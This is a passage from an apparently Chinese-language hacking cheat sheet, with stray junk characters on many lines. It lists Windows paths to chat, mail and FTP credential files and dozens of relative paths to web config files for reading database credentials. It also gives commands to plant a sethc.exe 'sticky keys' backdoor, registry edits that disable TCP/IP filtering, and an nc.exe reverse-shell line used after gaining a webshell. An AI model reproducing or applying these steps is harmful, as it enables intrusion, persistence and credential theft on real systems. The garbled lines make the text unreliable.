: L$ I0 J* r! F, ?; `1 m) H/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
; P6 o/ R7 N0 _( ?, N( B. c8 Cc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
& U' T& d( F6 X2 p6 i) r1 B1 }c:\Program Files\Tencent\qq\bin\qq.exe
7 I! P  b9 Y% l6 \( oc:\Program Files\Tencent\qq2009\qq.exe
+ Z/ M$ {+ W2 Z% I- z3 J& rc:\Program Files\Tencent\qq2008\qq.exe
4 j, t- h- G4 j3 y5 O- @+ lc:\Program Files\Tencent\qq2010\bin\qq.exe
% u; M; M+ [- l) Q9 r; o  nc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
! B  [' n% A; Z& t6 {  gC:\Program Files\Foxmal\Foxmail.exe
  J' o4 u& O2 |- l+ G8 S: N+ v2 NC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
  m6 v9 }( h* k* w0 A8 FC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
* F  ]$ O+ ?  F6 c; A( b+ xC:\Program Files\FlashFXP\flashfxp.exe
8 [  P* m. S6 N' D- {% i# }6 oc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
) j3 C/ h1 h- w% mc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
! w% n% [5 Q7 @- p' d+ ic:\Program Files\tencent\QQGAME\readme.txt
+ X6 h( q& W7 Q4 H; [2 q' K  mC:\Program Files\StormII\Storm.exe
) X5 F5 D8 z: f
; O* g+ w  Y% ?8 P3 `0 ^3.网站相对路径:
  F- o5 @* Y6 l2 M/ Z( ]. X( ]+ i
+ `6 K6 d' y1 l$ r1 \' F/config.php
../../config.php
0 B8 y  v; e0 M2 |* l& j- w../config.php
% y: U5 j1 {7 y4 D0 C6 }1 Z../../../config.php
2 j$ k8 l8 W, ?( o' g/config.inc.php
./config.inc.php
  c6 g- M6 M# x8 [5 Y7 i../../config.inc.php
! I8 }' Z: U' P  C../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
5 b7 s0 J# w! A$ o6 X& R../../../conn.php
/conn.asp
1 `$ `! m6 \; T# m' P7 r' }./conn.asp
3 m* w, ^* Q# e../../conn.asp
7 }; \' I* J& Q" A* x. C../conn.asp
../../../conn.asp
/config.inc.php
& ^: N5 A& w- Q' }* y  i, \./config.inc.php
$ v8 @: G1 s0 j/ k  r& J../../config.inc.php
../config.inc.php
3 E. m% r0 V3 O2 ~& B../../../config.inc.php
/config/config.php
" [4 A" `* y* a' Z0 |../../config/config.php
7 R! ^' f) D* z: U0 R2 A1 U! Y../config/config.php
" x" X' r7 `& l6 S4 v../../../config/config.php
5 E) R2 H  _4 y# |/config/config.inc.php
./config/config.inc.php
3 ~% F  Q4 ?+ r) f; Z../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
# b4 A, x+ m! G9 }& P% u8 [" Z./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
9 v7 L) I3 S9 h- Q/config/conn.asp
0 U9 Y" s( x  c9 c+ @./config/conn.asp
/ [! x% K0 y3 H. R* |* l../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
1 u6 x; S6 _6 Y# V8 Z* h/config/config.inc.php
2 a5 Q. z( j/ E./config/config.inc.php
../../config/config.inc.php
) c' y2 ?6 N3 o& q+ L../config/config.inc.php
../../../config/config.inc.php
8 S- b: P4 j7 ?/data/config.php
../../data/config.php
, W! W* k7 g* n$ N1 q* v../data/config.php
0 Q: q& p! J9 b1 q  q6 a../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
" g  b# G  |. O% C* V9 d: v/data/conn.php
./data/conn.php
0 b4 `( I- S: B: m! ~- J3 F. r../../data/conn.php
* K) m% b: x% i  H../data/conn.php
../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
5 V+ ~7 m1 ]: H$ c4 h% c../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
4 Z4 @' L, d5 W4 z. l5 {../../data/config.inc.php
../data/config.inc.php
9 N6 v' L; m5 I. K4 k" X../../../data/config.inc.php
/include/config.php
../../include/config.php
+ p$ r8 f. h8 S6 r- h0 V% ]9 Q../include/config.php
../../../include/config.php
/include/config.inc.php
2 q& \! Y% a$ z7 A& T2 p) [8 ]$ F/ z./include/config.inc.php
../../include/config.inc.php
8 F0 G* L7 c6 s3 {- u6 G4 Z, |../include/config.inc.php
../../../include/config.inc.php
+ W$ V/ ]6 e9 m/ ?% K/include/conn.php
" H5 f" u  W6 z9 q./include/conn.php
../../include/conn.php
../include/conn.php
. g; X9 c. X4 G$ V7 ^../../../include/conn.php
2 |2 [9 S" b; F" f! F3 T6 B/include/conn.asp
./include/conn.asp
- v% z6 ~+ A  ^  {6 W../../include/conn.asp
5 \" P2 \. j7 L" D1 ?' ]& h../include/conn.asp
; H' |) @$ F5 L4 l2 A5 Y6 f! q../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
6 W- o7 w' e0 y- k../include/config.inc.php
8 c  S' a8 `: @" b( T) |../../../include/config.inc.php
/inc/config.php
../../inc/config.php
" ^$ @, G$ W6 y' V, `( \2 w" L../inc/config.php
7 S7 E/ j! I& `/ o../../../inc/config.php
" L! A$ e! P5 G& T/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
/ v. Y& N* h" j0 ^/ w! @( h$ O, n  v( A  }../inc/config.inc.php
0 x) n6 h; k, i" S! h- f" P../../../inc/config.inc.php
/inc/conn.php
' L  O) ?; E/ r./inc/conn.php
../../inc/conn.php
; l3 t6 E5 L8 a7 i../inc/conn.php
../../../inc/conn.php
6 U% n0 ?' N: w/inc/conn.asp
# \! ]9 T9 S, X+ l$ a./inc/conn.asp
% z/ [* @, |4 R4 V../../inc/conn.asp
../inc/conn.asp
" z. v3 T0 s' p, ~9 Q; I/ U) x../../../inc/conn.asp
/inc/config.inc.php
3 [8 s! H. L& \./inc/config.inc.php
) w2 h; K1 d! Q" M8 S../../inc/config.inc.php
( d. J* p$ k# P7 O1 J../inc/config.inc.php
; y0 E6 i$ X/ U4 D1 d9 H& a( y' P' }../../../inc/config.inc.php
% x4 d2 k' C6 w( U! H5 w* [& z/index.php
./index.php
../../index.php
' _' L% |. x/ a! u../index.php
../../../index.php
/index.asp
./index.asp
+ R! c  {+ S1 @& P* L# A../../index.asp
+ Q- G4 _$ e7 V! c' _7 N) M../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
+ I. U" S' _9 j, |4 ^+ ?
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
* B- }) F+ q( m9 P& s' f
. M/ a3 D* x1 U* K　　del c:\windows\system32\sethc.exe
4 ~. q* b$ z% J/ c7 [9 m7 t
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
: n( P9 O$ e0 V) O
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
: Y. `! c# p9 ?* I
$ H& J$ j5 q; f' d1 m$ v' B2 e; S　　attrib c:\windows\system32\sethc.exe +h +r +s
) I. [  `# o1 B# Y) [# @1 F+ l
. K' o0 @  k9 Y. a- i6 X; K　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
" Y1 v: G  P2 h! `4 e去除TCPIP筛选
+ n4 j& g; G' s( |* f) FTCP/IP筛选在注册表里有三处，分别是：
: A1 i& q8 [" J( ?8 o9 Q5 JHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
6 s7 _1 Y- D" l8 }( c. T' t* [9 [regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
0 h5 E$ m2 Q% \, Bregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
1 w* R0 `( d# }' j7 Z, ^' O
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
0 a! g' J( s5 N* n$ u. r
4 W, p4 c0 I. g( X  L% |8 c7 B再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
2 K- k7 I0 c: D4 z6 T; K4 P1 o# vregedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
# v+ h# M* y. @nc也在同目录下
5 F: Y" x: M! g  K/ N7 T! L例如反弹cmdshell：
# o" F. e2 \3 Y"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

' d; Z6 J( X( X而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
2 w9 Q, [" \$ Y  x9 B5 t命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
$ \- ~& r: l0 n3 y4 S却能成功。。
这个不是重点
  O) ?8 A* F% z' s; m我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功